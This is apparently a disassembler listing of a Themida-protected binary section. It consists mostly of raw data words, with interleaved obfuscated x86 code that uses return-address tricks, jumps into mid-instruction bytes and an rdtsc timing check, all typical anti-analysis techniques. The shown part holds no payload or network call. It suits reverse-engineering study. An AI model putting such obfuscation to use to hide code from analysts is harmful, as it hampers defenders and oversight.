		dd 3C8BFE89h, 4C48124h,	54000000h, 83243C8Bh, 0EC8304C4h
		dd 24348904h, 0FF08478Fh, 815F2434h, 4C4h, 2434FF00h, 4C4815Eh
		dd 0E9000000h, 0FFFCD327h, 0AA4EB8AFh, 0C5030614h, 0B4CEE0FFh
		dd 0DF3C2058h, 0CCA12EB8h, 601C49EAh, 4FEB45ACh, 0FA251C8Fh
		dd 0C6A108ABh, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h,	0CE1BF531h
		dd 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 500A6DBh
		dd 1A004788h, 0D5A3EAh,	9C000000h, 0FECA19h, 0FBFE4A00h
		dd 87000000h, 2352DDB4h, 9C9ED920h, 0E977E733h,	11CBh
		dd 1B71BD83h, 0F000611h, 2C85h,	0B800h,	8B660000h, 4C2CFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 84C35545h
		dd 6CB15652h, 6AC08B5Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 6ED1C351h, 2840CE07h
		dd 0D4B92CF3h, 8300839Bh, 1125F1BDh, 9750006h, 243DBD83h
		dd 74000611h, 8B535013h, 4D0B8C0h, 9D8D0000h, 613AFFDh
		dd 585BD3FFh, 243DBD83h, 74000611h, 0B8535011h,	4D0h, 0AF4A9D8Dh
		dd 0D3FF0613h, 0B589585Bh, 6112679h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0EDC35545h,	8B45414Ah, 0CD8589C0h
		dd 8D06110Ah, 14AB3585h, 0BD958B06h, 9006112Bh,	0C88B6653h
		dd 0DE9505Fh, 9B000000h, 0E81CDB3Eh, 0AF9AB839h, 0F92AE11Bh
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0D3064D36h, 8D5E8B01h, 14AAF285h, 0E1B58906h
		dd 90061114h, 0D12B966h, 12E850h, 0B3AC0000h, 928BA51Bh
		dd 0A169A1B3h, 0FCDB5EC7h, 304CD976h, 6AC49EBFh, 8B90594Bh
		dd 2595FFD1h, 2906112Bh, 111CE985h, 68A0F06h, 89000000h
		dd 11023DB5h, 24448B06h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0ECADF17Eh, 6C88C62Ah
		dd 8589B6A5h, 614AB1Dh,	13E9h, 0C7800200h, 0C57F02F7h
		dd 60CB0C33h, 3BE6CABAh, 0EC88467Bh, 824448Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0CFC35545h, 9A1C4D44h
		dd 9589477Bh, 61130D5h,	0AB318589h, 6A0614h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 936CEEC3h
		dd 0B2A13AAFh, 1DE1BD89h, 0BD830611h, 6112AC9h,	9B850F00h
		dd 81000000h, 0B1C487C2h, 0D185C672h
		dd 47061106h, 880Fh, 56680000h,	6655C446h, 481D18Bh, 0D6617C24h
		dd 56006A7Eh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0B5892306h, 6111769h, 0FD1B5FFh,	0FE90611h
		dd 56000000h, 5FCBF993h, 0D1E88423h, 2CCE7B83h,	858DDB8Bh
		dd 614747Fh, 11E9h, 830FBD00h, 0C5886559h, 0A4430456h
		dd 5CFA729Ch, 0D0FFDB61h, 1245B589h, 958B0611h,	6112A61h
		dd 2AC98589h, 8D890611h, 6110F89h, 312DBD89h, 0BD830611h
		dd 6111B9Dh, 0BD850F00h, 66000000h, 0C6DCD3B9h,	1106D185h
		dd 8B604706h, 11143D95h, 6145B106h, 31EF168h, 16840F4Bh
		dd 0E8000000h, 0Ah, 557E651Fh, 0F1518871h, 850FD13Eh, 0
; ---------------------------------------------------------------------------
		pop	ecx
		add	dword ptr [esp], 3F0C96F1h
		mov	di, 0D375h
		push	dword ptr [ebp+6110FD1h]
		or	[ebp+6112949h],	edi
		lea	eax, [ebp+614747Fh]
		push	0
		push	edi
		call	sub_584A21
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584A21	proc near		; CODE XREF: Themida_:00584A19p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_584A21	endp

; ---------------------------------------------------------------------------
		db 0ECh, 0F0h, 3Dh
; ---------------------------------------------------------------------------
		sub	[ebx+11156195h], ecx
		push	es
		jmp	loc_584A4B
; ---------------------------------------------------------------------------
		dd 564737C8h, 0BCCBA816h
		db 0FFh, 0ECh, 9Ch
; ---------------------------------------------------------------------------


loc_584A4B:				; CODE XREF: Themida_:00584A3Bj
		call	eax
		call	near ptr loc_584A60+1
		xor	ah, cl
		mov	ds:0A58629D4h, eax
		or	dl, dh
		popf
		or	dl, bl
		db	36h
		aaa


loc_584A60:				; CODE XREF: Themida_:00584A4Dp
		jnz	short near ptr dword_584924+0C7h
		popf
		add	[esi], ebx
		adc	[esi], eax
		pop	edx
		mov	[ebp+6111B9Dh],	eax
		jmp	loc_584A80
; ---------------------------------------------------------------------------
		db 0DBh
		dd 0C6A62466h, 57D8C07Ch, 758D970Bh
; ---------------------------------------------------------------------------


loc_584A80:				; CODE XREF: Themida_:00584A6Ej
		cmp	dword ptr [ebp+6110DC9h], 0
		jnz	loc_584BBA
		add	edx, 3D60C0ECh
		mov	byte ptr [ebp+61106D1h], 56h
		mov	ecx, [ebp+611052Dh]
		call	near ptr loc_584AA8+1
		cmp	[ebp+1Fh], ebp


loc_584AA8:				; CODE XREF: Themida_:00584AA0p
		aam	0B1h
		mov	bh, 50h
		mov	di, 0F5DBh
		mov	eax, [esp+4]
		mov	edx, eax
		mov	eax, [eax]
		pusha
		mov	esi, edx
		call	sub_584ACA
		mul	dword ptr [eax]
; ---------------------------------------------------------------------------
		dw 0FD8Fh
		dd 3F26DD29h
		db 0E0h, 0B1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_584ACA	proc near		; CODE XREF: Themida_:00584ABBp
		jmp	sub_584ADD
sub_584ACA	endp

; ---------------------------------------------------------------------------
		db 0B9h
		dd 0FEA30378h, 0B6A744D9h, 253485C9h
; ---------------------------------------------------------------------------
		pop	esp

; =============== S U B	R O U T	I N E =======================================



sub_584ADD	proc near		; CODE XREF: sub_584ACAj

arg_24		= dword	ptr  28h

		pop	eax
		popa
		mov	[esp-24h+arg_24], eax
		push	eax
		mov	ecx, edi
		pop	edi
		pop	eax
		jnb	loc_584AF5
		jle	loc_584AF5
		cmc


loc_584AF5:				; CODE XREF: sub_584ADD+Bj
					; sub_584ADD+11j
		mov	edi, [ebp+6111D8Dh]
		push	dword ptr [ebp+6110FD1h]
		push	0
		push	esi
		call	sub_584B0C
		and	[esi-3Dh], bl
sub_584ADD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_584B0C	proc near		; CODE XREF: sub_584ADD+27p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_584B0C	endp

; ---------------------------------------------------------------------------
		dd 7DF90D8Ah, 9DB42C51h, 7F858DEAh, 6A061474h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0B4A2C350h, 0B45E97Bh, 0E88E3C2Dh, 0Ch, 0CD8D7FFAh
		dd 0CF1AB17Ch, 0DA64826Ch, 6AD958Bh, 0FF5A0611h, 56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0A042E143h, 9D01AF32h, 61113A1h, 0DC98589h, 6A0611h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0B08F4C3h, 0AD8D03h
; ---------------------------------------------------------------------------
		adc	[esi], eax


loc_584BBA:				; CODE XREF: Themida_:00584A87j
		mov	byte ptr [ebp+61106D1h], 6Ch
		mov	edx, 3FF83A9Ch
		call	loc_584BCF
		xor	dword ptr [eax+5], 0FFFFFFDBh


loc_584BCF:				; CODE XREF: Themida_:00584BC6p
		call	sub_584BE4
; ---------------------------------------------------------------------------
		dd 2B898CE7h, 0FF77C18Dh, 0CCF8AA31h, 0A1D19653h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_584BE4	proc near		; CODE XREF: Themida_:loc_584BCFp

arg_0		= dword	ptr  4

		mov	ecx, ebx
		pop	edi
		push	eax
		push	eax
		push	edx
		rdtsc
		jmp	loc_584C00
; ---------------------------------------------------------------------------
		db 10h,	0A2h, 94h
		dd 3D40A9F7h, 0C9319C79h, 0EF5C48BEh
; ---------------------------------------------------------------------------


loc_584C00:				; CODE XREF: sub_584BE4+8j
		pop	edx
		pop	eax
		mov	eax, [esp+arg_0]
		call	near ptr loc_584C0E+2
; ---------------------------------------------------------------------------
		mov	cl, 6
		dec	edi


loc_584C0E:				; CODE XREF: sub_584BE4+22p
		jmp	far ptr	8Bh:59D68B6Dh
sub_584BE4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	[esp+4], eax
		mov	ecx, edx
		pop	eax
		push	0
		push	eax
		call	sub_584C27
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584C27	proc near		; CODE XREF: Themida_:00584C1Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_584C27	endp

; ---------------------------------------------------------------------------
		db 94h
		dd 0E623218Fh, 0ED1B5FFh, 11E80611h, 0C000000h,	0F8A5F602h
		dd 3D07F3D1h, 0A9A7CDA6h, 13335250h, 13E8h, 7824B000h
		dd 0CC971444h, 85374640h, 0E8C1652h, 70AE8B31h,	59C9BF0Fh
		dd 0A6858D59h, 8106113Ah, 8AB17CE1h, 66D0FF08h,	890BEDBFh
		dd 14AB2185h, 459D0106h, 83061130h, 14AB3DBDh, 850F0006h
		dd 0B9h, 0DDF18166h, 0D185C6B9h, 49061106h, 68FB8B66h
		dd 51F979F2h, 0DA99B966h, 0F7240481h, 6A3A1BAFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 34F1C352h, 28B65971h, 0ED1B5FFh, 9D310611h, 6111215h
		dd 3AA6858Dh, 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 5EC4D0C3h, 2D31D8BAh, 1B7D9533h
		dd 0D0FF0611h, 9BC32DBFh, 3D858975h, 6A0614ABh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0EF6EC352h, 0B28A1FC4h, 7E78CE0Fh, 0F6816660h, 0BD33FFDBh
		dd 6110C99h, 0F046A61h,	4E8D0B7h, 0
		dd 0B6000010h, 8B6650DEh, 24448BD7h, 51008B04h,	1EB96651h
		dd 89595981h, 60042444h, 0CE860h, 85B50000h, 5C6390A8h
		dd 7069BEF8h, 505AF06Eh, 5A310F52h, 8B666158h, 895861D7h
		dd 11049985h, 0EF716806h, 75B1EC8Ch, 8F240481h,	0E8137410h
		dd 11h,	35038AC6h, 8BB0FBB7h, 31433F3Fh, 276309A6h, 0E28166BEh
		dd 6A5AC2CBh, 0CE900h, 0F3000000h, 423FB884h, 0A3F7BEDEh
		dd 95FF8C12h, 6110275h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 1FC35242h, 0BA9D0498h, 68D0Fh, 8D290000h
		dd 6110171h, 0AB2D8589h, 958B0614h, 611347Dh, 0AB2585C7h
		dd 614h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 170424h, 55450000h, 0F41753C3h, 0CDBD8BF1h, 6A06110Eh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 5984722Eh, 85F4CBE0h, 0BF0F60B1h, 0F1B533D2h
		dd 61061107h, 266F7668h, 240481E9h, 16DA908Ah, 12E8h, 0E0F09900h
		dd 0AA19B938h, 0CCF0F590h, 3025A0CBh, 8BF061C3h, 1107DD8Dh
		dd 66905906h, 6650D38Bh, 8990CA8Bh, 111D259Dh, 6A0B6A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 5813C353h, 0EA1BA201h, 296ECD80h,	110A3D8Dh
		dd 0FA858D06h, 0BA0614AAh, 6108A379h, 10E950h, 852F0000h
		dd 0CE6CBB1Ah, 1980141Fh, 68A80D53h, 489BA02h, 6D958B24h
		dd 8B061115h, 0C995FFCEh, 6A06112Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 8FDCC351h
		dd 296BDE79h, 11329D95h, 4B58D06h, 8B0614ABh, 1100E1BDh
		dd 34895006h
		db 24h,	0Fh
word_584F4E	dw 0C82h		; DATA XREF: ___:00436EFCo
		dd 0F000000h, 685h, 5DB50900h, 50061102h, 66240489h, 848FCF81h
		dd 1B9D95FFh, 60510611h, 0C6B1BAB7h, 0C00B5961h, 27850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0C0E9A5C3h, 89000006h, 1131058Dh,	6AD0FF06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 5533C350h, 5028CBD4h, 0DE8h, 0D1FCAC00h
		dd 0A7DA7B2Fh, 0AAD7D37Ch, 0A7B1CA6Eh, 0B58B5A5Fh, 614AB2Dh
		dd 5B589h, 8D090611h, 6110119h,	0B920468Dh, 6BB8CE5Fh
		dd 958B046Ah, 6112DE1h,	4870F50h, 66000000h, 899892BAh
		dd 10E92404h, 0B9000000h, 0DC3E627Ah, 0AAFA18B7h, 8A6316F3h
		dd 0FFC5891Eh, 14AB3D95h, 0D0B70F06h, 840FC00Bh, 43h, 0AE9h
		dd 54BD0B00h, 3B2DF8C1h, 8B2E4A38h, 1115E5BDh, 611E906h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 8876EDC3h, 0FE855B3Ch, 0CD95034Bh, 80061132h
		dd 0F00207Eh, 5DE84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0F319E057h, 362714Fh
		dd 8B60098Dh, 20468DF8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 85C35343h, 29858936h,	0F0614ABh, 1CE9C8BFh
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 17CDC356h, 0D5618EBEh,	8B93E59Bh
		dd 1127E1BDh, 0BD8B4006h, 61112F5h, 0CE850h, 87880000h
		dd 0F7E537A6h, 0B292F890h, 52512DE7h, 8959595Fh, 46A2404h
		dd 0BE9h, 8F475600h, 842C013Ah,	2723B063h, 0C1BA6650h
		dd 24048945h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	8C35646h, 95FFF5D8h, 614AB3Dh, 0B387C981h, 0D88B4A34h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CCC35545h
		dd 0E20E3F14h, 581F4D19h, 6E8h,	0B0039700h, 0E923DB03h
		dd 0Fh,	0C2DB3453h, 35B36630h, 0A777F967h, 5A5D24B3h, 840FDB0Bh
		dd 3Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h
		dd 38C35343h, 516C07ECh, 7C4BDF81h, 605941C3h, 0B58BC18Ah
		dd 6111CADh, 475E961h, 840F0000h, 3, 800DCE80h,	850F0038h
		dd 0FFFFFF05h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0CCC35141h, 0D8F0F26h, 0E9000000h, 8, 14B261F5h
		dd 385E1235h, 27E9C2B6h, 0B000000h, 111C0D95h, 6A4806h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 6C513DC3h, 853BCB1Ch, 614AB29h, 24820Fh, 0C1810000h
		dd 2E4D0A64h, 0F5C3880h, 1584h,	6E900h,	0B65C0000h, 0E4738EE0h
		dd 0F2F3880h, 0FFFFB085h, 6A40F8FFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F8BDC357h
		dd 9CD4A839h, 8D891BC2h, 6110FF1h, 8E9h, 178EFC00h, 34505B49h
		dd 31BD8306h, 614ABh, 14E840Fh,	0BF0F0000h, 5A5690D0h
		dd 7E950h, 83E10000h, 0BCE889CBh, 6A906Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 38B3FBC3h
		dd 60328312h, 8503B95Bh, 614AB31h, 27F28166h, 0B9669054h
		dd 0B95082A5h, 70107E55h, 6FBA6690h, 6A046A33h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F5FC357h, 18Eh, 958BF500h, 6110BDDh, 8B666050h, 0E95250D1h
		dd 0Dh,	0A5833B8Eh, 6CA74A23h, 244D3C1Ah, 5A310F07h, 4896158h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 329C64ECh, 0AB3D95FFh, 6A0614h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 120967C3h, 268DCECAh, 0A58D012Fh, 0F06111Bh,	18Fh, 0D88BF800h
		dd 7E9h, 96D0C400h, 3580A040h, 0B1BD8B58h, 8906111Bh, 112955B5h
		dd 0FDB0B06h, 2D84h, 298D0100h,	8B06112Ch, 112BE18Dh, 269E906h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0C63CC3h,	12BF6600h, 0C9B25896h, 2514B990h
		dd 0E9504E8Fh, 0Bh, 0D391F37Bh,	4097E89Ah, 90FFD95Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E8C35646h, 74EB251Dh
		dd 0DF816656h, 8A59CD0Fh, 6A1E6AF7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0B1F9C352h
		dd 93AC74Dh, 0EE94C8Fh,	0E5000000h, 1DB34E19h, 4B94C68Eh
		dd 0EB779D1Bh, 0D78B509Eh, 2B240489h, 11268995h, 3D95FF06h
		dd 890614ABh, 110C1D95h, 0FA8B6606h, 0B589D88Bh, 6110335h
		dd 0BCB8B58h, 32840FDBh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 6F62C350h
		dd 5E9h, 3B6CB600h, 70E91FD9h, 89000001h, 1130919Dh, 0E9529006h
		dd 5, 0FE6E1634h, 665059FEh, 6A90C88Bh,	3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 3D2AC355h
		dd 0AE947ABh, 51000000h, 3D30DF44h, 65D6C7E9h, 1DB5FF7Fh
		dd 800614ABh, 95FFEFC6h, 614AB21h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 36C35747h, 0FBEFAB85h, 66601348h
		dd 9589DA8Bh, 6110E25h,	0B5958961h, 0B061105h, 65850FC0h
		dd 66000000h, 61F517BAh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 0D3C35646h, 8B8287E4h, 11140D95h, 0DA816606h
		dd 85C7CBD4h, 614AB25h,	1, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0AAC35646h, 0A0C0F468h, 81E900h, 0D2810000h
		dd 1066CA1Bh, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0B935BEACh, 7E7C73A2h, 7E953h, 4010000h
		dd 0D8FD4CF4h, 0C6815F6Ah, 11Ch, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 1Ch, 6DC35040h, 0E9819FCAh, 0EBC7E413h
		dd 15798D8Bh, 0A5E90611h, 66FFFFF9h, 0CE9FA8Bh,	37000000h
		dd 587D564Ch, 0FC42653Bh, 682E42EFh, 6C2BEAEFh,	3481CA8Bh
		dd 2B6AEF24h, 51BD8B6Ch, 0B9061108h, 31A4BC25h,	8589006Ah
		dd 611140Dh, 1E119529h,	0B5FF0611h, 614AB2Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2DC35646h, 4EF3C284h
		dd 0C995FF65h, 6A06110Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0A296C351h,	25858B2Ah
		dd 30614ABh, 1106698Dh,	8A90F806h, 840F50E8h, 4, 84E6BA66h
		dd 0F2815790h, 14C81CEFh, 14810F5Ah, 0E9000000h, 0Fh, 3D2D32FEh
		dd 4AE6BB44h, 7D90628Ch, 8D063022h, 14AB3585h, 0E9B58906h
		dd 5006110Fh, 13E8h, 0D38F5600h, 0ADEF0D78h, 0DC014Ah
		dd 0AF682BCEh, 0F8BE79h, 6E9h, 61A9A600h, 5A5ED61Eh, 0E9240489h
		dd 7, 452EC731h, 8DE6C08Ah
		dd 14AAF285h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0CF7711F1h, 6D9D3183h, 50061115h
		dd 5A32BA66h, 66240489h, 95FFD18Bh, 6112845h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C35343h, 0F0C91B17h
		dd 0BD8B5730h, 6111D21h, 6AC08B59h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F2CC357h
		dd 178Fh, 12E900h, 0B5920000h, 25910D92h, 2ED2F797h, 8B5E776Ah
		dd 49BB4DFDh, 25F1BD83h, 75000611h, 3DBD8309h, 61124h
		dd 53501374h, 0D0B8C08Bh, 8D000004h, 13B0649Dh,	5BD3FF06h
		dd 3DBD8358h, 61124h, 53501174h, 4D0B8h, 639D8D00h, 0FF0613AFh
		dd 6A585BD3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0E0C0C351h, 47351328h,	55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8BD1F6D6h, 258589F8h, 8B061115h, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 895680EBh
		dd 3830Fh, 0BF0F0000h, 0CF8B66CBh, 6D8D8B58h, 0C2061106h
		dd 6A0008h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 1C7619C3h, 0F88FCB5h, 8166D6BFh, 8B69BFCFh
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 298BAF8Ah, 11051185h, 5BD8B06h, 8D06110Eh
		dd 14AB4685h, 8E806h, 0BFF80000h, 6ABEDBD0h, 0CE9CCA7h
		dd 0DF000000h, 3029C6CDh, 0D0391007h, 5A9D48B5h, 31458589h
		dd 39EB0611h, 0C10000h,	0C102CCh, 0C102E4h, 0
		dd 47C94E27h, 76D042EEh, 22C14ABDh, 4FCA4E1Dh, 4EC00958h
		dd 76EA27F6h, 22E86B09h, 52EB53E8h, 4AF04936h, 46C542DBh
		dd 0A8AB47D4h, 22A4276Ch, 2D4D9ABCh, 44F5218Bh,	787064F4h
		dd 22CEE72Dh, 22A7CF02h, 7B8427A9h, 6E2D7E17h, 6625234Eh
		dd 22BF2311h, 73E5279Ah, 26339B8Eh, 0ED15AC94h,	0D319A4CEh
		dd 22A2368Ch, 9F272EA1h, 24B50357h, 72BD5335h, 9A64ACC9h
		dd 22A423F4h, 3FE9A22Fh, 0BF292142h, 24B79580h,	7AFFF42Bh
		dd 6999AE9h, 56A42124h,	9AF7778Dh, 22A423F4h, 3FE9A22Fh
		dd 0BF292142h, 24B788B1h, 7AFFF42Bh, 0CAF72700h, 22A42736h
		dd 79677CBAh, 26807BC4h, 26806327h, 22A42749h, 0DB6774EAh
		dd 841A724h, 22CEC16Fh,	22A7CF64h, 7B84279Ah, 6E2D7E8Eh
		dd 66252382h, 22B02377h, 73E527A9h, 0E22F1F17h,	4E1A26Bh
		dd 0A7622124h, 24B5214Bh, 77A44D1Bh, 22A4244Eh,	0E1F90753h
		dd 6C8AEF4h, 6E0A6D0h, 22A43A6Eh, 0E1F16235h, 0EA98009Bh
		dd 0FD595AE0h, 0BFAD1255h, 24B525F6h, 0CB77E3C1h, 0A3AB47AAh
		dd 22A42761h, 22A422DDh, 807D539Ah, 91FB0D0Eh, 262546F0h
		dd 9C40A977h, 294D77B4h, 65A427D4h, 884F74A5h, 9D31EB8Fh
		dd 0DDFEF60Dh, 33ABF6F8h, 3329ACA0h, 0AFA2365Bh, 36D0582Ch
		dd 72A44DD2h, 22A42482h, 0E1FC0735h, 6E0AEC2h, 6E0A649h
		dd 22A430A2h, 0E1F46753h, 0C3970F29h, 0C025F72Bh, 3ADEC503h
		dd 22CE235Fh, 22A7CFCAh, 7A84274Dh, 662D7F65h, 66252377h
		dd 22BE238Dh, 72E427D4h, 7B7E4AA9h, 5E4FCADBh, 22A42073h
		dd 39C53B4Dh, 11ADF105h, 22A423BBh, 22B427A9h, 0AB1A41D4h
		dd 9BC277FCh, 662F2FA4h, 222F23BEh, 0E12F412Dh,	6E0AEC7h
		dd 0C6729857h, 48FC5689h, 214C76D4h, 2A4276Ah, 0ABFDE46Ch
		dd 0A3A003D6h, 37A00309h, 63A427A6h, 94F2E402h,	22A42941h
		dd 56F7EDD4h, 8B0A8518h, 25D1DF8Ch, 0A92D0305h,	3381CEF0h
		dd 4A5878A0h, 387EF386h, 8C819ECFh, 1B801355h, 0CABEFDBCh
		dd 22A42738h, 0B436B345h, 0FDBE865Fh, 87464590h, 2021287Fh
		dd 97A427A9h, 22CE7844h, 0DF4BA60Ch, 0CB74D8B1h, 22A42796h
		dd 0D67F710Fh, 4ED661B3h, 74927C64h, 9FCEA220h,	22CE21C0h
		dd 22A7CF3Ch, 7C842735h, 562D7959h, 66252369h, 22BD2382h
		dd 74E22753h, 775F9D6Ah, 9BCADFF8h, 71D08D53h, 0EEA1DFBEh
		dd 0ABA42798h, 361949C8h, 3A64A4A0h, 9FD6A2DAh,	0E29721BDh
		dd 22A6CB6Dh, 480ED46Ah, 214C7435h, 2A4279Ah, 0ABFFE416h
		dd 0A3A003FAh, 39A00317h, 61A427A9h, 0D8C2E487h, 1939D082h
		dd 2B4DC5FDh, 0D4A4279Ah, 35A0BD3Ah, 6A1FE1C9h,	0CAF72739h
		dd 22A427AAh, 79677CF4h, 26807BE3h, 268063B4h, 22A42781h
		dd 0DD67740Eh, 38225391h, 0B47D5ADh, 33856E3Ch,	0F321E1D2h
		dd 61A2366Ch, 3D0D9A16h, 264C218Bh, 7CA4274Dh, 723840CDh
		dd 22A8CE33h, 30DF27A9h, 0CF4F2C0h, 6BC43792h, 43C4F5FBh
		dd 9CF47EFBh, 45C03D24h, 2680632Dh, 364D7503h, 0B9A427A9h
		dd 0C49C3073h, 0E4D0D013h, 0DFB09D97h, 3D13AE4Ah, 2D8DB0CAh
		dd 98F67797h, 696239E5h, 98C216A6h, 7AFE9E91h, 222F7F30h
		dd 662DBE80h, 74F523BEh, 78FBE9C6h, 0D42541FEh,	9F2FD9A0h
		dd 24B50588h, 2D75922Bh, 22CE217Bh, 22A7CF66h, 7984279Ah
		dd 7E2D7C8Eh, 66252382h, 22B02377h, 71E727A9h, 3E1E3117h
		dd 239DA10Ah, 33B04A80h, 5D21AA9Ch, 2DA23339h, 22A42C21h
		dd 27202853h, 44A427A9h, 0AF46C855h, 2E9592E3h,	0F25B2124h
		dd 0FF55A6FCh, 0B21AE36h, 0ABA236B5h, 33AA6AD6h, 0E721AAAFh
		dd 0ABA236D8h, 33AB06D7h, 7F21AE33h, 0A9A2369Dh, 33A9EAC0h
		dd 22A1CEA0h, 16FD2753h, 0E45AAE30h, 33A2F651h,	0A9F3746Ch
		dd 98C27DE3h, 264C46DDh, 0FAA4274Dh, 9C5896EEh,	5B6D95B4h
		dd 7B849EF9h, 662F553Fh, 0ACAB234Eh, 22A4273Bh,	22A42E73h
		dd 0CA7DAD4Dh, 7939F04Ah, 222F6E17h, 0AB6AACCFh, 7AA00390h
		dd 0CAF42700h, 22A42736h, 7A677FBAh, 268063C4h,	26806327h
		dd 22A4274Fh, 5C6777E9h, 0DC022BF4h, 78D5308Ch,	36A992BEh
		dd 975B218Bh, 24B5289Ch, 0B72F4A13h, 24B5179Ah,	56DBA224h
		dd 22CE21C0h, 22A7CF3Dh, 7D842735h, 5E2D7859h, 66252369h
		dd 22BD2382h, 75E32753h, 704E156Ah, 75C527E1h, 2921B259h
		dd 0DDFD2124h, 3F11164Ah, 0ABA2364Fh, 33A1E223h, 0E721AE55h
		dd 0E4A236A4h, 33A2F651h, 22CE746Ch, 22A7CF66h,	7984279Ah
		dd 7E2D7C8Eh, 66252382h, 22BE2377h, 71E727A9h, 0D4D2C417h
		dd 2C6BDBh, 0A84C615Dh,	0A37E9109h, 0E510379h, 22CE6C34h
		dd 22A7CF04h, 7D8427A9h, 5E2D7817h, 6625234Eh, 22B22311h
